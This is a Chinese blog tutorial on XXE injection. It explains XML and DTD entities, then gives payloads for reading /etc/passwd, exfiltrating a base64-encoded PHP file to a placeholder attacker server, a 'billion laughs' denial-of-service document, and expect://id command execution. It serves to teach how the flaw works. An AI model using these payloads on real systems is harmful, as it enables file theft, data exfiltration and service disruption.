当前位置:网站首页>XML实体注入漏洞

XML实体注入漏洞

2022-06-21 11:13:00 哇咔哇咔哇咔哇咔

文章目录

XXE漏洞

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XML

XML全称可扩展标记语言。用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

在这里插入图片描述

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。
DTD
上面提到xml需要自定义标签,而DTD(文档类型定义)就可以合法的定义xml标签。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
内部的DOCTYPE声明:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[                           <!--定义此文档为note类型-->
	<!ELEMENT note (to,from,heading,body)><!--定义note有四个元素-->
	<!ELEMENT to   (#PCDATA)>
	<!ELEMENT from   (#PCDATA)>
	<!ELEMENT heading   (#PCDATA)>
	<!ELEMENT body   (#PCDATA)> <!--定义元素的类型为#PCDATA-->
]>
<note>
<to>Alice</to>
<from>Bob</from>
<heading>Reminder</heading>
<body>I miss you !</body>
</note>

DTD属性:
属性声明使用以下语法

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD实例

<!ATTLIST payment Hu3sky CDATA "H">

XML实例

<payment Hu3sky="H" />

以下是属性类型的选项
在这里插入图片描述
默认值参数可以使用下列值:
在这里插入图片描述
DTD-实体(重要)
一个内部实体声明
语法:

<!ENTITY 实体名称 "实体的值">

例子:
DTD 例子:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (。
一个外部实体声明
语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:
DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

XXE的利用方式:
文件读取
有回显的
①内部引用实体
元素约束Any指元素可以包含任何数据,包含文本数据和子元素

<!DOCTYPE foo [
<!ELEMENT foo ANY >         
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >  
]>

<foo>&xxe;</foo> 

②外部引用实体
通过XML引用外面的恶意DTD文件来造成XXE漏洞,% xxe定义参数实体,%xxe在dtd中引用参数实体

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/123.dtd" >  
%xxe;     
]>

<foo>&b;</foo>

随后在10.6.23.15服务器中写入1.dtd文件

<!ENTITY b SYSTEM "file:///etc/passwd">

无回显的
用外带数据通道提取数据,如将提取的数据发送到外部的http服务器上,后面查看http服务器即可查看到提取的数据内容
1.使用使用php://filter获取目标文件的内容,然后将数据内容为参数值请求外部的http服务器,随后查看http服务器日志就能查看到提取的数据
( php://filter是php只读流,以base64编码的方式读取target.php)

<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">   
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/1.dtd">
%dtd;
%send;
]>

1.dtd的内容,注意内部的%号要进行实体编码成&#x25;

<!ENTITY % all 
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

随后访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据
DOS

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
执行系统命令
(注:这种情况非常少,在安装expect扩展的PHP环境可以里执行系统命令,其他协议也有可能可以执行系统命令,存在环境限制)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>

<root>
<name>&xxe;</name>
</root>

参考文章:
https://www.w3school.com.cn/dtd/dtd_entities.asp
https://www.cnblogs.com/supdon/p/13469139.html

原网站

版权声明
本文为[哇咔哇咔哇咔哇咔]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_63267612/article/details/125349509